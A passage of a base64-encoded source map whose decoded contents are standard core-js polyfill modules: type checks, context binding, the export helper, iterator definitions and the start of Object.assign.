y9fY29yZScpLk9iamVjdC52YWx1ZXM7XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICBpZiAodHlwZW9mIGl0ICE9ICdmdW5jdGlvbicpIHRocm93IFR5cGVFcnJvcihpdCArICcgaXMgbm90IGEgZnVuY3Rpb24hJyk7XG4gIHJldHVybiBpdDtcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uICgpIHsgLyogZW1wdHkgKi8gfTtcbiIsInZhciBpc09iamVjdCA9IHJlcXVpcmUoJy4vX2lzLW9iamVjdCcpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgaWYgKCFpc09iamVjdChpdCkpIHRocm93IFR5cGVFcnJvcihpdCArICcgaXMgbm90IGFuIG9iamVjdCEnKTtcbiAgcmV0dXJuIGl0O1xufTtcbiIsIi8vIGZhbHNlIC0+IEFycmF5I2luZGV4T2Zcbi8vIHRydWUgIC0+IEFycmF5I2luY2x1ZGVzXG52YXIgdG9JT2JqZWN0ID0gcmVxdWlyZSgnLi9fdG8taW9iamVjdCcpO1xudmFyIHRvTGVuZ3RoID0gcmVxdWlyZSgnLi9fdG8tbGVuZ3RoJyk7XG52YXIgdG9BYnNvbHV0ZUluZGV4ID0gcmVxdWlyZSgnLi9fdG8tYWJzb2x1dGUtaW5kZXgnKTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKElTX0lOQ0xVREVTKSB7XG4gIHJldHVybiBmdW5jdGlvbiAoJHRoaXMsIGVsLCBmcm9tSW5kZXgpIHtcbiAgICB2YXIgTyA9IHRvSU9iamVjdCgkdGhpcyk7XG4gICAgdmFyIGxlbmd0aCA9IHRvTGVuZ3RoKE8ubGVuZ3RoKTtcbiAgICB2YXIgaW5kZXggPSB0b0Fic29sdXRlSW5kZXgoZnJvbUluZGV4LCBsZW5ndGgpO1xuICAgIHZhciB2YWx1ZTtcbiAgICAvLyBBcnJheSNpbmNsdWRlcyB1c2VzIFNhbWVWYWx1ZVplcm8gZXF1YWxpdHkgYWxnb3JpdGhtXG4gICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXNlbGYtY29tcGFyZVxuICAgIGlmIChJU19JTkNMVURFUyAmJiBlbCAhPSBlbCkgd2hpbGUgKGxlbmd0aCA+IGluZGV4KSB7XG4gICAgICB2YWx1ZSA9IE9baW5kZXgrK107XG4gICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tc2VsZi1jb21wYXJlXG4gICAgICBpZiAodmFsdWUgIT0gdmFsdWUpIHJldHVybiB0cnVlO1xuICAgIC8vIEFycmF5I2luZGV4T2YgaWdub3JlcyBob2xlcywgQXJyYXkjaW5jbHVkZXMgLSBub3RcbiAgICB9IGVsc2UgZm9yICg7bGVuZ3RoID4gaW5kZXg7IGluZGV4KyspIGlmIChJU19JTkNMVURFUyB8fCBpbmRleCBpbiBPKSB7XG4gICAgICBpZiAoT1tpbmRleF0gPT09IGVsKSByZXR1cm4gSVNfSU5DTFVERVMgfHwgaW5kZXggfHwgMDtcbiAgICB9IHJldHVybiAhSVNfSU5DTFVERVMgJiYgLTE7XG4gIH07XG59O1xuIiwiLy8gZ2V0dGluZyB0YWcgZnJvbSAxOS4xLjMuNiBPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nKClcbnZhciBjb2YgPSByZXF1aXJlKCcuL19jb2YnKTtcbnZhciBUQUcgPSByZXF1aXJlKCcuL193a3MnKSgndG9TdHJpbmdUYWcnKTtcbi8vIEVTMyB3cm9uZyBoZXJlXG52YXIgQVJHID0gY29mKGZ1bmN0aW9uICgpIHsgcmV0dXJuIGFyZ3VtZW50czsgfSgpKSA9PSAnQXJndW1lbnRzJztcblxuLy8gZmFsbGJhY2sgZm9yIElFMTEgU2NyaXB0IEFjY2VzcyBEZW5pZWQgZXJyb3JcbnZhciB0cnlHZXQgPSBmdW5jdGlvbiAoaXQsIGtleSkge1xuICB0cnkge1xuICAgIHJldHVybiBpdFtrZXldO1xuICB9IGNhdGNoIChlKSB7IC8qIGVtcHR5ICovIH1cbn07XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHZhciBPLCBULCBCO1xuICByZXR1cm4gaXQgPT09IHVuZGVmaW5lZCA/ICdVbmRlZmluZWQnIDogaXQgPT09IG51bGwgPyAnTnVsbCdcbiAgICAvLyBAQHRvU3RyaW5nVGFnIGNhc2VcbiAgICA6IHR5cGVvZiAoVCA9IHRyeUdldChPID0gT2JqZWN0KGl0KSwgVEFHKSkgPT0gJ3N0cmluZycgPyBUXG4gICAgLy8gYnVpbHRpblRhZyBjYXNlXG4gICAgOiBBUkcgPyBjb2YoTylcbiAgICAvLyBFUzMgYXJndW1lbnRzIGZhbGxiYWNrXG4gICAgOiAoQiA9IGNvZihPKSkgPT0gJ09iamVjdCcgJiYgdHlwZW9mIE8uY2FsbGVlID09ICdmdW5jdGlvbicgPyAnQXJndW1lbnRzJyA6IEI7XG59O1xuIiwidmFyIHRvU3RyaW5nID0ge30udG9TdHJpbmc7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHJldHVybiB0b1N0cmluZy5jYWxsKGl0KS5zbGljZSg4LCAtMSk7XG59O1xuIiwidmFyIGNvcmUgPSBtb2R1bGUuZXhwb3J0cyA9IHsgdmVyc2lvbjogJzIuNi4xMScgfTtcbmlmICh0eXBlb2YgX19lID09ICdudW1iZXInKSBfX2UgPSBjb3JlOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLXVuZGVmXG4iLCIvLyBvcHRpb25hbCAvIHNpbXBsZSBjb250ZXh0IGJpbmRpbmdcbnZhciBhRnVuY3Rpb24gPSByZXF1aXJlKCcuL19hLWZ1bmN0aW9uJyk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChmbiwgdGhhdCwgbGVuZ3RoKSB7XG4gIGFGdW5jdGlvbihmbik7XG4gIGlmICh0aGF0ID09PSB1bmRlZmluZWQpIHJldHVybiBmbjtcbiAgc3dpdGNoIChsZW5ndGgpIHtcbiAgICBjYXNlIDE6IHJldHVybiBmdW5jdGlvbiAoYSkge1xuICAgICAgcmV0dXJuIGZuLmNhbGwodGhhdCwgYSk7XG4gICAgfTtcbiAgICBjYXNlIDI6IHJldHVybiBmdW5jdGlvbiAoYSwgYikge1xuICAgICAgcmV0dXJuIGZuLmNhbGwodGhhdCwgYSwgYik7XG4gICAgfTtcbiAgICBjYXNlIDM6IHJldHVybiBmdW5jdGlvbiAoYSwgYiwgYykge1xuICAgICAgcmV0dXJuIGZuLmNhbGwodGhhdCwgYSwgYiwgYyk7XG4gICAgfTtcbiAgfVxuICByZXR1cm4gZnVuY3Rpb24gKC8qIC4uLmFyZ3MgKi8pIHtcbiAgICByZXR1cm4gZm4uYXBwbHkodGhhdCwgYXJndW1lbnRzKTtcbiAgfTtcbn07XG4iLCIvLyA3LjIuMSBSZXF1aXJlT2JqZWN0Q29lcmNpYmxlKGFyZ3VtZW50KVxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgaWYgKGl0ID09IHVuZGVmaW5lZCkgdGhyb3cgVHlwZUVycm9yKFwiQ2FuJ3QgY2FsbCBtZXRob2Qgb24gIFwiICsgaXQpO1xuICByZXR1cm4gaXQ7XG59O1xuIiwiLy8gVGhhbmsncyBJRTggZm9yIGhpcyBmdW5ueSBkZWZpbmVQcm9wZXJ0eVxubW9kdWxlLmV4cG9ydHMgPSAhcmVxdWlyZSgnLi9fZmFpbHMnKShmdW5jdGlvbiAoKSB7XG4gIHJldHVybiBPYmplY3QuZGVmaW5lUHJvcGVydHkoe30sICdhJywgeyBnZXQ6IGZ1bmN0aW9uICgpIHsgcmV0dXJuIDc7IH0gfSkuYSAhPSA3O1xufSk7XG4iLCJ2YXIgaXNPYmplY3QgPSByZXF1aXJlKCcuL19pcy1vYmplY3QnKTtcbnZhciBkb2N1bWVudCA9IHJlcXVpcmUoJy4vX2dsb2JhbCcpLmRvY3VtZW50O1xuLy8gdHlwZW9mIGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQgaXMgJ29iamVjdCcgaW4gb2xkIElFXG52YXIgaXMgPSBpc09iamVjdChkb2N1bWVudCkgJiYgaXNPYmplY3QoZG9jdW1lbnQuY3JlYXRlRWxlbWVudCk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICByZXR1cm4gaXMgPyBkb2N1bWVudC5jcmVhdGVFbGVtZW50KGl0KSA6IHt9O1xufTtcbiIsIi8vIElFIDgtIGRvbid0IGVudW0gYnVnIGtleXNcbm1vZHVsZS5leHBvcnRzID0gKFxuICAnY29uc3RydWN0b3IsaGFzT3duUHJvcGVydHksaXNQcm90b3R5cGVPZixwcm9wZXJ0eUlzRW51bWVyYWJsZSx0b0xvY2FsZVN0cmluZyx0b1N0cmluZyx2YWx1ZU9mJ1xuKS5zcGxpdCgnLCcpO1xuIiwidmFyIGdsb2JhbCA9IHJlcXVpcmUoJy4vX2dsb2JhbCcpO1xudmFyIGNvcmUgPSByZXF1aXJlKCcuL19jb3JlJyk7XG52YXIgY3R4ID0gcmVxdWlyZSgnLi9fY3R4Jyk7XG52YXIgaGlkZSA9IHJlcXVpcmUoJy4vX2hpZGUnKTtcbnZhciBoYXMgPSByZXF1aXJlKCcuL19oYXMnKTtcbnZhciBQUk9UT1RZUEUgPSAncHJvdG90eXBlJztcblxudmFyICRleHBvcnQgPSBmdW5jdGlvbiAodHlwZSwgbmFtZSwgc291cmNlKSB7XG4gIHZhciBJU19GT1JDRUQgPSB0eXBlICYgJGV4cG9ydC5GO1xuICB2YXIgSVNfR0xPQkFMID0gdHlwZSAmICRleHBvcnQuRztcbiAgdmFyIElTX1NUQVRJQyA9IHR5cGUgJiAkZXhwb3J0LlM7XG4gIHZhciBJU19QUk9UTyA9IHR5cGUgJiAkZXhwb3J0LlA7XG4gIHZhciBJU19CSU5EID0gdHlwZSAmICRleHBvcnQuQjtcbiAgdmFyIElTX1dSQVAgPSB0eXBlICYgJGV4cG9ydC5XO1xuICB2YXIgZXhwb3J0cyA9IElTX0dMT0JBTCA/IGNvcmUgOiBjb3JlW25hbWVdIHx8IChjb3JlW25hbWVdID0ge30pO1xuICB2YXIgZXhwUHJvdG8gPSBleHBvcnRzW1BST1RPVFlQRV07XG4gIHZhciB0YXJnZXQgPSBJU19HTE9CQUwgPyBnbG9iYWwgOiBJU19TVEFUSUMgPyBnbG9iYWxbbmFtZV0gOiAoZ2xvYmFsW25hbWVdIHx8IHt9KVtQUk9UT1RZUEVdO1xuICB2YXIga2V5LCBvd24sIG91dDtcbiAgaWYgKElTX0dMT0JBTCkgc291cmNlID0gbmFtZTtcbiAgZm9yIChrZXkgaW4gc291cmNlKSB7XG4gICAgLy8gY29udGFpbnMgaW4gbmF0aXZlXG4gICAgb3duID0gIUlTX0ZPUkNFRCAmJiB0YXJnZXQgJiYgdGFyZ2V0W2tleV0gIT09IHVuZGVmaW5lZDtcbiAgICBpZiAob3duICYmIGhhcyhleHBvcnRzLCBrZXkpKSBjb250aW51ZTtcbiAgICAvLyBleHBvcnQgbmF0aXZlIG9yIHBhc3NlZFxuICAgIG91dCA9IG93biA/IHRhcmdldFtrZXldIDogc291cmNlW2tleV07XG4gICAgLy8gcHJldmVudCBnbG9iYWwgcG9sbHV0aW9uIGZvciBuYW1lc3BhY2VzXG4gICAgZXhwb3J0c1trZXldID0gSVNfR0xPQkFMICYmIHR5cGVvZiB0YXJnZXRba2V5XSAhPSAnZnVuY3Rpb24nID8gc291cmNlW2tleV1cbiAgICAvLyBiaW5kIHRpbWVycyB0byBnbG9iYWwgZm9yIGNhbGwgZnJvbSBleHBvcnQgY29udGV4dFxuICAgIDogSVNfQklORCAmJiBvd24gPyBjdHgob3V0LCBnbG9iYWwpXG4gICAgLy8gd3JhcCBnbG9iYWwgY29uc3RydWN0b3JzIGZvciBwcmV2ZW50IGNoYW5nZSB0aGVtIGluIGxpYnJhcnlcbiAgICA6IElTX1dSQVAgJiYgdGFyZ2V0W2tleV0gPT0gb3V0ID8gKGZ1bmN0aW9uIChDKSB7XG4gICAgICB2YXIgRiA9IGZ1bmN0aW9uIChhLCBiLCBjKSB7XG4gICAgICAgIGlmICh0aGlzIGluc3RhbmNlb2YgQykge1xuICAgICAgICAgIHN3aXRjaCAoYXJndW1lbnRzLmxlbmd0aCkge1xuICAgICAgICAgICAgY2FzZSAwOiByZXR1cm4gbmV3IEMoKTtcbiAgICAgICAgICAgIGNhc2UgMTogcmV0dXJuIG5ldyBDKGEpO1xuICAgICAgICAgICAgY2FzZSAyOiByZXR1cm4gbmV3IEMoYSwgYik7XG4gICAgICAgICAgfSByZXR1cm4gbmV3IEMoYSwgYiwgYyk7XG4gICAgICAgIH0gcmV0dXJuIEMuYXBwbHkodGhpcywgYXJndW1lbnRzKTtcbiAgICAgIH07XG4gICAgICBGW1BST1RPVFlQRV0gPSBDW1BST1RPVFlQRV07XG4gICAgICByZXR1cm4gRjtcbiAgICAvLyBtYWtlIHN0YXRpYyB2ZXJzaW9ucyBmb3IgcHJvdG90eXBlIG1ldGhvZHNcbiAgICB9KShvdXQpIDogSVNfUFJPVE8gJiYgdHlwZW9mIG91dCA9PSAnZnVuY3Rpb24nID8gY3R4KEZ1bmN0aW9uLmNhbGwsIG91dCkgOiBvdXQ7XG4gICAgLy8gZXhwb3J0IHByb3RvIG1ldGhvZHMgdG8gY29yZS4lQ09OU1RSVUNUT1IlLm1ldGhvZHMuJU5BTUUlXG4gICAgaWYgKElTX1BST1RPKSB7XG4gICAgICAoZXhwb3J0cy52aXJ0dWFsIHx8IChleHBvcnRzLnZpcnR1YWwgPSB7fSkpW2tleV0gPSBvdXQ7XG4gICAgICAvLyBleHBvcnQgcHJvdG8gbWV0aG9kcyB0byBjb3JlLiVDT05TVFJVQ1RPUiUucHJvdG90eXBlLiVOQU1FJVxuICAgICAgaWYgKHR5cGUgJiAkZXhwb3J0LlIgJiYgZXhwUHJvdG8gJiYgIWV4cFByb3RvW2tleV0pIGhpZGUoZXhwUHJvdG8sIGtleSwgb3V0KTtcbiAgICB9XG4gIH1cbn07XG4vLyB0eXBlIGJpdG1hcFxuJGV4cG9ydC5GID0gMTsgICAvLyBmb3JjZWRcbiRleHBvcnQuRyA9IDI7ICAgLy8gZ2xvYmFsXG4kZXhwb3J0LlMgPSA0OyAgIC8vIHN0YXRpY1xuJGV4cG9ydC5QID0gODsgICAvLyBwcm90b1xuJGV4cG9ydC5CID0gMTY7ICAvLyBiaW5kXG4kZXhwb3J0LlcgPSAzMjsgIC8vIHdyYXBcbiRleHBvcnQuVSA9IDY0OyAgLy8gc2FmZVxuJGV4cG9ydC5SID0gMTI4OyAvLyByZWFsIHByb3RvIG1ldGhvZCBmb3IgYGxpYnJhcnlgXG5tb2R1bGUuZXhwb3J0cyA9ICRleHBvcnQ7XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChleGVjKSB7XG4gIHRyeSB7XG4gICAgcmV0dXJuICEhZXhlYygpO1xuICB9IGNhdGNoIChlKSB7XG4gICAgcmV0dXJuIHRydWU7XG4gIH1cbn07XG4iLCIvLyBodHRwczovL2dpdGh1Yi5jb20vemxvaXJvY2svY29yZS1qcy9pc3N1ZXMvODYjaXNzdWVjb21tZW50LTExNTc1OTAyOFxudmFyIGdsb2JhbCA9IG1vZHVsZS5leHBvcnRzID0gdHlwZW9mIHdpbmRvdyAhPSAndW5kZWZpbmVkJyAmJiB3aW5kb3cuTWF0aCA9PSBNYXRoXG4gID8gd2luZG93IDogdHlwZW9mIHNlbGYgIT0gJ3VuZGVmaW5lZCcgJiYgc2VsZi5NYXRoID09IE1hdGggPyBzZWxmXG4gIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1uZXctZnVuY1xuICA6IEZ1bmN0aW9uKCdyZXR1cm4gdGhpcycpKCk7XG5pZiAodHlwZW9mIF9fZyA9PSAnbnVtYmVyJykgX19nID0gZ2xvYmFsOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLXVuZGVmXG4iLCJ2YXIgaGFzT3duUHJvcGVydHkgPSB7fS5oYXNPd25Qcm9wZXJ0eTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0LCBrZXkpIHtcbiAgcmV0dXJuIGhhc093blByb3BlcnR5LmNhbGwoaXQsIGtleSk7XG59O1xuIiwidmFyIGRQID0gcmVxdWlyZSgnLi9fb2JqZWN0LWRwJyk7XG52YXIgY3JlYXRlRGVzYyA9IHJlcXVpcmUoJy4vX3Byb3BlcnR5LWRlc2MnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9fZGVzY3JpcHRvcnMnKSA/IGZ1bmN0aW9uIChvYmplY3QsIGtleSwgdmFsdWUpIHtcbiAgcmV0dXJuIGRQLmYob2JqZWN0LCBrZXksIGNyZWF0ZURlc2MoMSwgdmFsdWUpKTtcbn0gOiBmdW5jdGlvbiAob2JqZWN0LCBrZXksIHZhbHVlKSB7XG4gIG9iamVjdFtrZXldID0gdmFsdWU7XG4gIHJldHVybiBvYmplY3Q7XG59O1xuIiwidmFyIGRvY3VtZW50ID0gcmVxdWlyZSgnLi9fZ2xvYmFsJykuZG9jdW1lbnQ7XG5tb2R1bGUuZXhwb3J0cyA9IGRvY3VtZW50ICYmIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDtcbiIsIm1vZHVsZS5leHBvcnRzID0gIXJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJykgJiYgIXJlcXVpcmUoJy4vX2ZhaWxzJykoZnVuY3Rpb24gKCkge1xuICByZXR1cm4gT2JqZWN0LmRlZmluZVByb3BlcnR5KHJlcXVpcmUoJy4vX2RvbS1jcmVhdGUnKSgnZGl2JyksICdhJywgeyBnZXQ6IGZ1bmN0aW9uICgpIHsgcmV0dXJuIDc7IH0gfSkuYSAhPSA3O1xufSk7XG4iLCIvLyBmYWxsYmFjayBmb3Igbm9uLWFycmF5LWxpa2UgRVMzIGFuZCBub24tZW51bWVyYWJsZSBvbGQgVjggc3RyaW5nc1xudmFyIGNvZiA9IHJlcXVpcmUoJy4vX2NvZicpO1xuLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXByb3RvdHlwZS1idWlsdGluc1xubW9kdWxlLmV4cG9ydHMgPSBPYmplY3QoJ3onKS5wcm9wZXJ0eUlzRW51bWVyYWJsZSgwKSA/IE9iamVjdCA6IGZ1bmN0aW9uIChpdCkge1xuICByZXR1cm4gY29mKGl0KSA9PSAnU3RyaW5nJyA/IGl0LnNwbGl0KCcnKSA6IE9iamVjdChpdCk7XG59O1xuIiwibW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIHR5cGVvZiBpdCA9PT0gJ29iamVjdCcgPyBpdCAhPT0gbnVsbCA6IHR5cGVvZiBpdCA9PT0gJ2Z1bmN0aW9uJztcbn07XG4iLCIndXNlIHN0cmljdCc7XG52YXIgY3JlYXRlID0gcmVxdWlyZSgnLi9fb2JqZWN0LWNyZWF0ZScpO1xudmFyIGRlc2NyaXB0b3IgPSByZXF1aXJlKCcuL19wcm9wZXJ0eS1kZXNjJyk7XG52YXIgc2V0VG9TdHJpbmdUYWcgPSByZXF1aXJlKCcuL19zZXQtdG8tc3RyaW5nLXRhZycpO1xudmFyIEl0ZXJhdG9yUHJvdG90eXBlID0ge307XG5cbi8vIDI1LjEuMi4xLjEgJUl0ZXJhdG9yUHJvdG90eXBlJVtAQGl0ZXJhdG9yXSgpXG5yZXF1aXJlKCcuL19oaWRlJykoSXRlcmF0b3JQcm90b3R5cGUsIHJlcXVpcmUoJy4vX3drcycpKCdpdGVyYXRvcicpLCBmdW5jdGlvbiAoKSB7IHJldHVybiB0aGlzOyB9KTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIE5BTUUsIG5leHQpIHtcbiAgQ29uc3RydWN0b3IucHJvdG90eXBlID0gY3JlYXRlKEl0ZXJhdG9yUHJvdG90eXBlLCB7IG5leHQ6IGRlc2NyaXB0b3IoMSwgbmV4dCkgfSk7XG4gIHNldFRvU3RyaW5nVGFnKENvbnN0cnVjdG9yLCBOQU1FICsgJyBJdGVyYXRvcicpO1xufTtcbiIsIid1c2Ugc3RyaWN0JztcbnZhciBMSUJSQVJZID0gcmVxdWlyZSgnLi9fbGlicmFyeScpO1xudmFyICRleHBvcnQgPSByZXF1aXJlKCcuL19leHBvcnQnKTtcbnZhciByZWRlZmluZSA9IHJlcXVpcmUoJy4vX3JlZGVmaW5lJyk7XG52YXIgaGlkZSA9IHJlcXVpcmUoJy4vX2hpZGUnKTtcbnZhciBJdGVyYXRvcnMgPSByZXF1aXJlKCcuL19pdGVyYXRvcnMnKTtcbnZhciAkaXRlckNyZWF0ZSA9IHJlcXVpcmUoJy4vX2l0ZXItY3JlYXRlJyk7XG52YXIgc2V0VG9TdHJpbmdUYWcgPSByZXF1aXJlKCcuL19zZXQtdG8tc3RyaW5nLXRhZycpO1xudmFyIGdldFByb3RvdHlwZU9mID0gcmVxdWlyZSgnLi9fb2JqZWN0LWdwbycpO1xudmFyIElURVJBVE9SID0gcmVxdWlyZSgnLi9fd2tzJykoJ2l0ZXJhdG9yJyk7XG52YXIgQlVHR1kgPSAhKFtdLmtleXMgJiYgJ25leHQnIGluIFtdLmtleXMoKSk7IC8vIFNhZmFyaSBoYXMgYnVnZ3kgaXRlcmF0b3JzIHcvbyBgbmV4dGBcbnZhciBGRl9JVEVSQVRPUiA9ICdAQGl0ZXJhdG9yJztcbnZhciBLRVlTID0gJ2tleXMnO1xudmFyIFZBTFVFUyA9ICd2YWx1ZXMnO1xuXG52YXIgcmV0dXJuVGhpcyA9IGZ1bmN0aW9uICgpIHsgcmV0dXJuIHRoaXM7IH07XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKEJhc2UsIE5BTUUsIENvbnN0cnVjdG9yLCBuZXh0LCBERUZBVUxULCBJU19TRVQsIEZPUkNFRCkge1xuICAkaXRlckNyZWF0ZShDb25zdHJ1Y3RvciwgTkFNRSwgbmV4dCk7XG4gIHZhciBnZXRNZXRob2QgPSBmdW5jdGlvbiAoa2luZCkge1xuICAgIGlmICghQlVHR1kgJiYga2luZCBpbiBwcm90bykgcmV0dXJuIHByb3RvW2tpbmRdO1xuICAgIHN3aXRjaCAoa2luZCkge1xuICAgICAgY2FzZSBLRVlTOiByZXR1cm4gZnVuY3Rpb24ga2V5cygpIHsgcmV0dXJuIG5ldyBDb25zdHJ1Y3Rvcih0aGlzLCBraW5kKTsgfTtcbiAgICAgIGNhc2UgVkFMVUVTOiByZXR1cm4gZnVuY3Rpb24gdmFsdWVzKCkgeyByZXR1cm4gbmV3IENvbnN0cnVjdG9yKHRoaXMsIGtpbmQpOyB9O1xuICAgIH0gcmV0dXJuIGZ1bmN0aW9uIGVudHJpZXMoKSB7IHJldHVybiBuZXcgQ29uc3RydWN0b3IodGhpcywga2luZCk7IH07XG4gIH07XG4gIHZhciBUQUcgPSBOQU1FICsgJyBJdGVyYXRvcic7XG4gIHZhciBERUZfVkFMVUVTID0gREVGQVVMVCA9PSBWQUxVRVM7XG4gIHZhciBWQUxVRVNfQlVHID0gZmFsc2U7XG4gIHZhciBwcm90byA9IEJhc2UucHJvdG90eXBlO1xuICB2YXIgJG5hdGl2ZSA9IHByb3RvW0lURVJBVE9SXSB8fCBwcm90b1tGRl9JVEVSQVRPUl0gfHwgREVGQVVMVCAmJiBwcm90b1tERUZBVUxUXTtcbiAgdmFyICRkZWZhdWx0ID0gJG5hdGl2ZSB8fCBnZXRNZXRob2QoREVGQVVMVCk7XG4gIHZhciAkZW50cmllcyA9IERFRkFVTFQgPyAhREVGX1ZBTFVFUyA/ICRkZWZhdWx0IDogZ2V0TWV0aG9kKCdlbnRyaWVzJykgOiB1bmRlZmluZWQ7XG4gIHZhciAkYW55TmF0aXZlID0gTkFNRSA9PSAnQXJyYXknID8gcHJvdG8uZW50cmllcyB8fCAkbmF0aXZlIDogJG5hdGl2ZTtcbiAgdmFyIG1ldGhvZHMsIGtleSwgSXRlcmF0b3JQcm90b3R5cGU7XG4gIC8vIEZpeCBuYXRpdmVcbiAgaWYgKCRhbnlOYXRpdmUpIHtcbiAgICBJdGVyYXRvclByb3RvdHlwZSA9IGdldFByb3RvdHlwZU9mKCRhbnlOYXRpdmUuY2FsbChuZXcgQmFzZSgpKSk7XG4gICAgaWYgKEl0ZXJhdG9yUHJvdG90eXBlICE9PSBPYmplY3QucHJvdG90eXBlICYmIEl0ZXJhdG9yUHJvdG90eXBlLm5leHQpIHtcbiAgICAgIC8vIFNldCBAQHRvU3RyaW5nVGFnIHRvIG5hdGl2ZSBpdGVyYXRvcnNcbiAgICAgIHNldFRvU3RyaW5nVGFnKEl0ZXJhdG9yUHJvdG90eXBlLCBUQUcsIHRydWUpO1xuICAgICAgLy8gZml4IGZvciBzb21lIG9sZCBlbmdpbmVzXG4gICAgICBpZiAoIUxJQlJBUlkgJiYgdHlwZW9mIEl0ZXJhdG9yUHJvdG90eXBlW0lURVJBVE9SXSAhPSAnZnVuY3Rpb24nKSBoaWRlKEl0ZXJhdG9yUHJvdG90eXBlLCBJVEVSQVRPUiwgcmV0dXJuVGhpcyk7XG4gICAgfVxuICB9XG4gIC8vIGZpeCBBcnJheSN7dmFsdWVzLCBAQGl0ZXJhdG9yfS5uYW1lIGluIFY4IC8gRkZcbiAgaWYgKERFRl9WQUxVRVMgJiYgJG5hdGl2ZSAmJiAkbmF0aXZlLm5hbWUgIT09IFZBTFVFUykge1xuICAgIFZBTFVFU19CVUcgPSB0cnVlO1xuICAgICRkZWZhdWx0ID0gZnVuY3Rpb24gdmFsdWVzKCkgeyByZXR1cm4gJG5hdGl2ZS5jYWxsKHRoaXMpOyB9O1xuICB9XG4gIC8vIERlZmluZSBpdGVyYXRvclxuICBpZiAoKCFMSUJSQVJZIHx8IEZPUkNFRCkgJiYgKEJVR0dZIHx8IFZBTFVFU19CVUcgfHwgIXByb3RvW0lURVJBVE9SXSkpIHtcbiAgICBoaWRlKHByb3RvLCBJVEVSQVRPUiwgJGRlZmF1bHQpO1xuICB9XG4gIC8vIFBsdWcgZm9yIGxpYnJhcnlcbiAgSXRlcmF0b3JzW05BTUVdID0gJGRlZmF1bHQ7XG4gIEl0ZXJhdG9yc1tUQUddID0gcmV0dXJuVGhpcztcbiAgaWYgKERFRkFVTFQpIHtcbiAgICBtZXRob2RzID0ge1xuICAgICAgdmFsdWVzOiBERUZfVkFMVUVTID8gJGRlZmF1bHQgOiBnZXRNZXRob2QoVkFMVUVTKSxcbiAgICAgIGtleXM6IElTX1NFVCA/ICRkZWZhdWx0IDogZ2V0TWV0aG9kKEtFWVMpLFxuICAgICAgZW50cmllczogJGVudHJpZXNcbiAgICB9O1xuICAgIGlmIChGT1JDRUQpIGZvciAoa2V5IGluIG1ldGhvZHMpIHtcbiAgICAgIGlmICghKGtleSBpbiBwcm90bykpIHJlZGVmaW5lKHByb3RvLCBrZXksIG1ldGhvZHNba2V5XSk7XG4gICAgfSBlbHNlICRleHBvcnQoJGV4cG9ydC5QICsgJGV4cG9ydC5GICogKEJVR0dZIHx8IFZBTFVFU19CVUcpLCBOQU1FLCBtZXRob2RzKTtcbiAgfVxuICByZXR1cm4gbWV0aG9kcztcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChkb25lLCB2YWx1ZSkge1xuICByZXR1cm4geyB2YWx1ZTogdmFsdWUsIGRvbmU6ICEhZG9uZSB9O1xufTtcbiIsIm1vZHVsZS5leHBvcnRzID0ge307XG4iLCJtb2R1bGUuZXhwb3J0cyA9IHRydWU7XG4iLCIndXNlIHN0cmljdCc7XG4vLyAxOS4xLjIuMSBPYmplY3QuYXNzaWduKHRhcmdldCwgc291cmNlLCAuLi4pXG52YXIgREVTQ1JJUFRPUlMgPSByZXF1aXJlKCcuL19kZXNjcmlwdG9ycycpO1xudmFyIGdldEtleXMgPSByZXF1aXJlKCcuL19vYmplY3Qta2V5cycpO1xudmFyIGdPUFMgPSByZXF1aXJlKCcuL19vYmplY3QtZ29wcycpO1xudmFyIHBJRSA9IHJlcXVpcmUoJy4vX29iamVjdC1waWUnKTtcbnZhciB0b09iamVjdCA9IHJlcXVpcmUoJy4vX3RvLW9iamVjdCcpO1xudmFyIElPYmplY3QgPSByZXF1aXJlKCcuL19pb2JqZWN0Jyk7XG52YXIgJGFzc2lnbiA9IE9iamVjdC5hc3NpZ247XG5cbi8vIHNob3VsZCB3b3JrIHdpdGggc3ltYm9scyBhbmQgc2hvdWxkIGhhdmUgZGV0ZXJtaW5pc3RpYyBwcm9wZXJ0eSBvcmRlciAoVjggYnVnKVxubW9kdWxlLmV4cG9ydHMgPSAhJGFzc2lnbiB8fCByZXF1aXJlKCcuL19mYWlscycpKGZ1bmN0aW9uICgpIHtcbiAgdmFyIEEgPSB7fTtcbiAgdmFyIEIgPSB7fTtcbiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXVuZGVmXG4gIHZhciBTID0gU3ltYm9sKCk7XG4gIHZhciBLID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0JztcbiAgQVtTXSA9IDc7XG4gIEsuc3BsaXQoJycpLmZvckVhY2goZnVuY3Rpb24gKGspIH